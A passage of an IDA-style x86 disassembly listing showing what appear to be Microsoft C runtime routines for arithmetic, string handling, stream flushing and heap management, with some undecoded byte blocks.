		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB364
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C534, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB364, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2670914h
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C328
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB364, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB374
		call	near ptr 2830000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 10h
		dd 0DBD7CA15h, 22E07A47h, 0D6C10AF5h, 0A1644F6Fh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 41D5E8E8h, 33900248h, 89D48AD2h
		dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 484178E8h, 0C94CA302h,	19E8004Dh
		dd 0A3000058h, 4DB318h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024826h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2606E856h, 50900226h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB320, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2F0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB320
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC700
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26508EFh
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2670914h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5E0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2680000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26C05ECh
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 28B0000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4A2217E8h
		dd 0A3C08502h, 4DC944h,	93E83674h, 83FFFFFEh, 48A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0E890004Dh
		dd 2493042h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC944h
		dd 21BEE890h, 0C0850239h, 4DC93CA3h, 0C3017500h, 4244C8Bh
		dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h
		dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC938
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC93C
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

